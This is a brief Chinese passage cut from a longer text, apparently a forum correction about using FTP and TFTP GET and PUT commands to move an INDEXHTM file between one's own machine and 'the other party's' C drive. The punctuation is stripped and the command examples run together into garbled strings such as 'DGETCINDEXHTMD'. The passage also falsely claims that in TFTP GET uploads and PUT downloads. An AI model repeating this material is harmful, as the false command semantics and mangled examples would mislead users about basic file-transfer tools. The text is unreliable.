下，传到对方DGETCINDEXHTMD假设你要把对方C盘下的INDEXHTM，下到你的机子的D盘下PUTCINDEXHTMD这里的问题是两个命令的解释正好弄反了，登陆服务器后GET才是下载，而PUT命令是上传，这和TFTP的命令正好相反，在TFTP命令里GET是上传PUT是下载，这下明白了吧，而且在服务器中不能用C和D这样来指明路径，这也是在TFTP里面用的方法，FTP可不会执行的，不信你去试好了，正确应该这样上传文